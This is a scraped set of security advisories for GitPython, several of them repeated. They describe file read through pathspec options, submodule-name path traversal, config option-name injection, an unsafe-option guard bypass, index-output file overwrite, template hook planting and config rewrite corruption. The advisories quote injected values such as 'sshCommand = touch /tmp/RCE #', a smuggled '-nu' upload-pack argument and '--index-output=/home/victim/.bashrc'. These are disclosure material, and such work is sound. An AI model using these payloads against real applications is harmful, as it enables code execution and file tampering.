CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841
More information
Details
Summary
IndexFile.remove()andHead.checkout()forward**kwargsintogit rmandgit checkoutwith no guard. Passing
--pathspec-from-file=<file>together with--pathspec-file-nulmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through
GitCommandError.stderr, so theentire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f -
TagReference.create()with
-F, arbitrary file read returned in band - at two sites that advisory assessed andcleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"
--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive found":IndexFile.remove()rm--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive foundIndexFile.move()mvHEAD.reset()resetHEAD.checkout()checkoutThat assessment is very nearly right, and I think that is why it held: with
--pathspec-from-filealone, Git splits on newlines and the error quotes only the firstline, which reads as an uninteresting partial. Adding
--pathspec-file-nul- a sibling flagof the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:git/refs/head.py:237-268:Neither has an
allow_unsafe_optionsparameter or acheck_unsafe_options()call.Proof of concept
Observed on published 3.1.57, against a canary file holding three marked lines:
The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
IndexFile.remove()→git rmHead.checkout()→git checkoutHEAD.reset()→git resetgit resetdoes not error on unmatched pathspecsIndexFile.move()→git mvThe two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython
CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784
More information
Details
Summary
GitPython computes the on-disk location of a submodule's separate Git directory (
.git/modules/<name>) from the submodule's.gitmodulessection name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g.../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True)/sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.Details
src/GitPython/git/objects/submodule/util.pysm_name()strips thesubmodule "/"wrapper from a.gitmodules[submodule "..."]header and returns the result unchecked.Submodule.iter_items()insrc/GitPython/git/objects/submodule/base.pyreads this viasm_name(sms)and assigns it tosm._name; unlike the submodulepath,nameis never used for a tree lookup, so it is never implicitly validated.Submodule._module_abspath()then buildsosp.join(parent_repo.git_dir, "modules", name)-os.path.joindoes not normalize../sequences.Submodule._clone_repo()passes this value straight toos.makedirs()and togit clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.PoC
FROM python:3.11-slim, withgitinstalled viaapt-get install -y git(Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container viapip install /src/GitPythonfrom this repository's own source, which the advisory states resolved to the officially releasedGitPython==3.1.57andgitdb==4.0.12.repo.submodules+sm.update(init=True), equivalent togit submodule update --init).(Per the Dockerfile,
docker runexecutes/work/run_all.sh, which in turn runsbuild_attacker_repo.sh, thenpoc_gitpython.py, thenpoc_control_realgit.sh.)4. Full source of the PoC script (
GHSA/testing/poc_gitpython.py), verbatim:.gitmodulessection header from[submodule "legit_dir"]to[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"](built bybuild_attacker_repo.sh, part of the harness inGHSA/testing/). The malicious part is the../../../../../../traversal sequence embedded in the submodule name (not the tree-validatedpath), which becomes the on-disk target for the submodule's separate git directory.gitCLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at/tmp/gitpython_poc_escaped_root/modules_dir, confirmed byescape_target exists after update: Trueand its listed contents.url.Impact
Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)
CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783
More information
Details
Summary
GitPython's config-name validator only neutralizes CR/LF/NUL for the
"option"label; it does not reject=,#,;,[,], or whitespace in an option name.write_sectionwrites the option name verbatim into the config file, so an option name such assshCommand = touch <cmd> #is written as\tsshCommand = touch <cmd> # = <value>, which git parses ascore.sshCommand = touch <cmd>(the trailing#comments out the intended value). This forges arbitrary config directives (core.sshCommand,core.hooksPath,alias.*) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (=/#/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).Root Cause
_assure_config_name_safe(name, label)(git/config.py:897) applies the bracket/quote state machine ONLY whenlabel == "section"; for the"option"label it falls through with just theUNSAFE_CONFIG_CHARS_RE = [\r\n\x00]regex.write_sectionthen writes the option name verbatim into"\t%s = %s\n"(config.py:702).Impact
Arbitrary git-config directive injection → remote code execution via
core.sshCommand(fires on any ssh git operation, no staged file needed) orcore.hooksPath(with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.Proof of Concept
Attack Chain
set_value("core", "sshCommand = touch /tmp/RCE #", "x")._assure_config_name_safe(option, "option")@ config.py. Guard: regex matches only[\r\n\x00]; bracket/quote state machine is gated onlabel=="section". Bypass proof:=,#,space pass → noValueError.write_sectionwrites"\tsshCommand = touch /tmp/RCE # = x\n"(config.py:702).core.sshCommand=touch /tmp/RCE→ arbitrary code execution on next git op.Bypass Evidence
Independently reproduced (gate harness):
set_value('core','sshCommand = touch <RCE> #','x')→ noValueError; file linesshCommand = touch <RCE> # = x;git config --get core.sshCommand→touch <RCE>(rc=0). Also verifiedcore.hooksPathvia bothGitConfigParserandrepo.config_writer(). Fix-commit read: bracket/quote checks are insideif label == "section"; the"option"label is not covered.Affected Versions
GitPython <= 3.1.57(validator present verbatim on the latest release tag).Suggested Fix
Apply the section-name safety checks (reject
=,#,;,[,], whitespace) to the"option"label as well, or validate the fully-rendered config line after substitution.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution
CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843
More information
Details
Summary
The
check_unsafe_optionsguard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg withsplit_single_char_options=False. The guard's candidate list omits the smuggled option, buttransform_kwargemits a JOINED-n<value>argv token that git parses as--upload-pack=<cmd>, yielding arbitrary command execution at the defaultallow_unsafe_options=False. This is an incomplete-fix bypass of commite8d0fbf7(the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates whensplit_single_char_optionsis True.Root Cause
_option_candidatesderives value-token candidates only underif len(key)==1 and split_single_char_options:(cmd.py:1048, added bye8d0fbf7). Withsplit_single_char_options=False,_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})returns only['-n'](not on the denylist), so the guard passes. Buttransform_kwarg('n', value, split_single_char_options=False)emits the JOINED token-nutouch <cmd>;git-upload-pack(cmd.py:1631). git clusters value-less short flags then parses-u<cmd>=--upload-pack=<cmd>→ command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) at defaultallow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containingsplit_single_char_options=Falseplus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).Proof of Concept
Attack Chain
Repo.clone_from(url, path, **kwargs):{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes--upload-pack/-u. Bypass proof:_option_candidatesyields only['-n'](value token skipped becausesplit=False); guard never sees-u.transform_kwargemits joined token (cmd.py:1631). argv (observed):['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].-n+-u<cmd>→ runs upload-pack command → ACE.Bypass Evidence
Independently reproduced (gate harness, default
allow_unsafe_options=False): thesplit=Falsepayload created the markerVH05_GATE_ACE(ACE); the clone returned normally (guard bypassed). Control:n='--upload-pack=…'(split default True) →UnsafeOptionError: --upload-pack is not allowed. Fix-commit read:e8d0fbf7extends candidates only underif len(key)==1 and split_single_char_options:— split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit56806080) does not cover this because the guard only ever receives['-n'].Affected Versions
GitPython <= 3.1.57(code present verbatim on the latest release tag).Suggested Fix
Make
_option_candidatesemit value-derived candidates regardless ofsplit_single_char_options(i.e. also for the joined-n<value>form), OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783
More information
Details
GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784
More information
Details
GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite
CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838
More information
Details
Summary
IndexFile.from_tree,IndexFile.reset(→ from_tree) andIndexFile.merge_treeappend caller-influenced treeish strings positionally togit read-treewith no unsafe-option guard, noallow_unsafe_optionsparameter, and no--separator.git read-tree --index-output=<file>writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected--index-outputoverride the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit3af0c251(GHSA-3f7w-8rr8-f37f) guarded onlycheckout_indexandtag;read_treewas left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).Root Cause
from_tree(index/base.py:388),reset(delegates to from_tree), andmerge_tree(index/base.py:291) callrepo.git.read_tree(*arg_list)with nocheck_unsafe_optionsand no--. The treeish is caller-influenced and positional.Impact
Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.
Proof of Concept
Attack Chain
IndexFile.from_tree(repo, treeish)/reset(commit=…)/merge_tree(base=…, rhs=…)with attackertreeish="--index-output=/home/victim/.bashrc".allow_unsafe_optionsand never callcheck_unsafe_options.repo.git.read_tree(*arg_list)— no--. argv (from_tree, observed):['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'](last-wins).Bypass Evidence
Independently reproduced (gate harness):
IndexFile.from_tree(repo,'--index-output=<victim>')→ victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after startsDIRC\x00\x00\x00\x02…(destructive clobber, valid index blob).reset(commit=…)and bothmerge_treepositionals verified. Fix-commit read:3af0c251touched onlycheckout_index+tag;read_treeuntouched on HEAD.Affected Versions
GitPython <= 3.1.57(sinks present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) tofrom_tree/reset/merge_tree, and/or place a--separator before the positional treeish arguments; block--index-output(a path-taking option) on this sink.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks
CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840
More information
Details
Summary
Repo.init()forwards**kwargsverbatim togit initwith no unsafe-option guard and noallow_unsafe_optionsparameter.git init --template=<dir>copies<dir>/hooks/*into the new repo's.git/hooks, so an attacker-controlledtemplatekwarg plants a hook that executes on the next git operation → arbitrary code execution.--templateis already recognized as unsafe for clone (it is onunsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), butRepo.initis a distinct method that never received a guard and needs an independent fix.Root Cause
Repo.init(path, mkdir, odbt, expand_vars, **kwargs)is a baregit.init(**kwargs)(git/repo/base.py:1435) with nocheck_unsafe_optionsand noallow_unsafe_options.Impact
Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a
template=kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Defaultallow_unsafe_optionsis irrelevant here becauseRepo.inithas no guard at all.Proof of Concept
Attack Chain
/evil/hooks/post-commit(executable) and gets the app to callRepo.init(path, template='/evil').Repo.init. Bypass proof: base.py:1435 is a baregit.init(**kwargs). argv (observed):['git','init','--template=/evil']./evil/hooks/post-commit→<repo>/.git/hooks/post-commit.Bypass Evidence
Independently reproduced (gate harness):
Repo.init(dst, template='<evil>')→ argv['git','init','--template=<evil>']unguarded; hook copied into.git/hooks/post-commit; aftergit committheINIT_ACEmarker was created.--separate-git-dir=<path>is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).Affected Versions
GitPython <= 3.1.57(unguardedgit.init(**kwargs)present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) toRepo.init, consulting a denylist that includes--templateand--separate-git-dir(path-taking / hook-installing options).Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841
More information
Details
Summary
IndexFile.remove()andHead.checkout()forward**kwargsintogit rmandgit checkoutwith no guard. Passing
--pathspec-from-file=<file>together with--pathspec-file-nulmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through
GitCommandError.stderr, so theentire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f -
TagReference.create()with
-F, arbitrary file read returned in band - at two sites that advisory assessed andcleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"
--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive found":IndexFile.remove()rm--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive foundIndexFile.move()mvHEAD.reset()resetHEAD.checkout()checkoutThat assessment is very nearly right, and I think that is why it held: with
--pathspec-from-filealone, Git splits on newlines and the error quotes only the firstline, which reads as an uninteresting partial. Adding
--pathspec-file-nul- a sibling flagof the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:git/refs/head.py:237-268:Neither has an
allow_unsafe_optionsparameter or acheck_unsafe_options()call.Proof of concept
Observed on published 3.1.57, against a canary file holding three marked lines:
The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
IndexFile.remove()→git rmHead.checkout()→git checkoutHEAD.reset()→git resetgit resetdoes not error on unmatched pathspecsIndexFile.move()→git mvThe two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution
CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843
More information
Details
Summary
The
check_unsafe_optionsguard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg withsplit_single_char_options=False. The guard's candidate list omits the smuggled option, buttransform_kwargemits a JOINED-n<value>argv token that git parses as--upload-pack=<cmd>, yielding arbitrary command execution at the defaultallow_unsafe_options=False. This is an incomplete-fix bypass of commite8d0fbf7(the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates whensplit_single_char_optionsis True.Root Cause
_option_candidatesderives value-token candidates only underif len(key)==1 and split_single_char_options:(cmd.py:1048, added bye8d0fbf7). Withsplit_single_char_options=False,_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})returns only['-n'](not on the denylist), so the guard passes. Buttransform_kwarg('n', value, split_single_char_options=False)emits the JOINED token-nutouch <cmd>;git-upload-pack(cmd.py:1631). git clusters value-less short flags then parses-u<cmd>=--upload-pack=<cmd>→ command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) at defaultallow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containingsplit_single_char_options=Falseplus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).Proof of Concept
Attack Chain
Repo.clone_from(url, path, **kwargs):{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes--upload-pack/-u. Bypass proof:_option_candidatesyields only['-n'](value token skipped becausesplit=False); guard never sees-u.transform_kwargemits joined token (cmd.py:1631). argv (observed):['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].-n+-u<cmd>→ runs upload-pack command → ACE.Bypass Evidence
Independently reproduced (gate harness, default
allow_unsafe_options=False): thesplit=Falsepayload created the markerVH05_GATE_ACE(ACE); the clone returned normally (guard bypassed). Control:n='--upload-pack=…'(split default True) →UnsafeOptionError: --upload-pack is not allowed. Fix-commit read:e8d0fbf7extends candidates only underif len(key)==1 and split_single_char_options:— split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit56806080) does not cover this because the guard only ever receives['-n'].Affected Versions
GitPython <= 3.1.57(code present verbatim on the latest release tag).Suggested Fix
Make
_option_candidatesemit value-derived candidates regardless ofsplit_single_char_options(i.e. also for the joined-n<value>form), OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE
CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786
More information
Details
git/config.py—GitConfigParser._read()(multi-line value decoding, lines 444-541, esp.string_decode()at line 460 and its call sites at 519/541) andGitConfigParser._write()/write_section()(serialization, lines ~694-712, esp. line 708)9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
GitPython added
UNSAFE_CONFIG_CHARS_RE/_value_to_string_safe()/_assure_config_name_safe()guards (commitsc417af46,1ed1b924,a495ccd3, and PR #2176) to reject a Python string containing a raw\r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument toset(),set_value(),add_value(), oradd_section(). This closed the four config-injection GHSAs above.That guard is applied only on the write-argument surface. It is never consulted for values that entered
GitConfigParser._sectionsvia_read()— i.e. values that came from parsing an on-disk config file. And_read()legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), andstring_decode()(.decode('unicode_escape')) decodes a literal two-character\nescape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax realgititself uses and accepts.The bug is in what happens when that
GitConfigParseris later flushed:write_section()(line ~694) calls the unsafeself._value_to_string(v)— not_value_to_string_safe()— and "handles" any embedded newline in the value with.replace("\n", "\n\t")(line 708), emitting a bare, unquoted<real newline><tab>in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal\immediately before the newline. So the momentwrite_section()re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or realgit) parses the file. If an attacker chooses the dormant value's content to be<anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-newcore.hooksPath = <attacker path>directive — live, real Git configuration, not a value.core.hooksPathis honored by essentially every hook-firing git operation (commit,checkout,merge,push,rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.Root cause
GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section()using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). Thec417af46commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.Exploit path
.git/config(or any file merged into it via[include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: No raw\r,\n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Realgit config --get core.hookspathreturns nothing at this point (inert);git config --get core.zzzreturns the decoded stringA\nhooksPath = ../evil-hooks, identically to GitPython's own reader.git.Repo(path),read_only=Falseimplicitly for a normalconfig_writer()use) and performs any single, unrelated, legitimate config write on the sameGitConfigParserinstance — e.g.repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.GitConfigParser._write()/write_section()re-serializes every resident value, including the dormantzzzentry, using the unsafe path. The file on disk now contains, verbatim:git config --get core.hookspathnow returns../evil-hooks— a key that did not exist before step 2, created purely by GitPython's own write.git commit) executes../evil-hooks/pre-commit(or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.Impact
Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity
GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67"Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.Preconditions
<anything>\n<injected-key> = <injected-value>. Realistic delivery:.gitdirectory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve.git, "repo" tarball/zip distributions that include.git/config. The poisoned value sits directly in.git/config.[include]pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) —GitConfigParser.read()merges included files' sections into the same_sectionsdict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own.git/configto already reference the include, e.g. via project setup tooling that addsinclude.path).GHSA-v87r-6q3f-2j67(their writeup cites MLRun'sproject.push()).Evidence
git/config.py:460(string_decode), invoked atgit/config.py:519and:541inside_read()'s multi-line handling — decodesunicode_escape, turning a literal\nescape into a real embedded LF.git/config.py:~694-712(_write()/write_section()) — usesself._value_to_string(v)(unsafe variant) and.replace("\n", "\n\t")with no re-quoting.c417af46(the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.git log -S"string_decode",-S"write_section",-S'replace("\n", "\n\t")'ongit/config.pyshow these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86,b825dc74,cb68eef0,21ec5299), never by a security fix.gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelatedconfig_writer()write →core.hookspathbecomes live per realgit config --get→ a subsequentgit commitexecutes the injected hook and writes a benign marker file.False-positive check (adversarial re-read)
UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via_known-advisories.json(26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism..git/configis rewritten by realgit config user.name Test2(a control test), the multi-linezzzentry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.hooksPath = ...line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally;core.hooksPathis honored unconditionally by git's hook-invocation machinery.GHSA-v87r-6q3f-2j67.config_writer()write →core.hookspathlive per real git → hook fires ongit commit, marker file written).Remediation
Either (a) make
write_section()/_write()use_value_to_string_safe()(or equivalent re-quoting) for every resident value, including those that originated from_read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach_sectionsat all if the parser is opened inread_only=Falsemode, or (c) canonicalize output using git's owngit config --file <path> --replace-allsemantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of_value_to_string_safe()already used on the setter path.Confidence
High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live
core.hookspath→ hook execution with a benign marker) reproduced twice, independently, against the current HEAD.Proof-of-Concept source (
gitpython-002-poc.py)Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)
CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837
More information
Details
Summary
TagReference.create()forwards a caller-influenced positionalreferencevalue intogit tagwithout it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit3af0c251(the fix for GHSA-3f7w-8rr8-f37f's tag instance).Root Cause
The fix
3af0c251addedunsafe_git_tag_options = ["--file","-F"]and a guard call, but the guard isGit.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)atgit/refs/tag.py:139— it passes an EMPTY args list and inspects kwargs only. The dangerous valuespathandreferenceare POSITIONALS (args = (path, reference), tag.py:156), placed before any--. A user-influencedreference="--file=<path>"therefore reachesgit tagas the exact--fileoption the fix intended to block, creating an annotated tag whose message is the file's contents.Impact
Arbitrary local file read at the privileges of the host process; contents returned in-band via
tagref.tag.message. Requires the embedding application to forward a caller-influencedreferencevalue intoTagReference.create()(pure VALUE control — the CVE-2026-42215 threat model). Defaultallow_unsafe_options=False.Proof of Concept
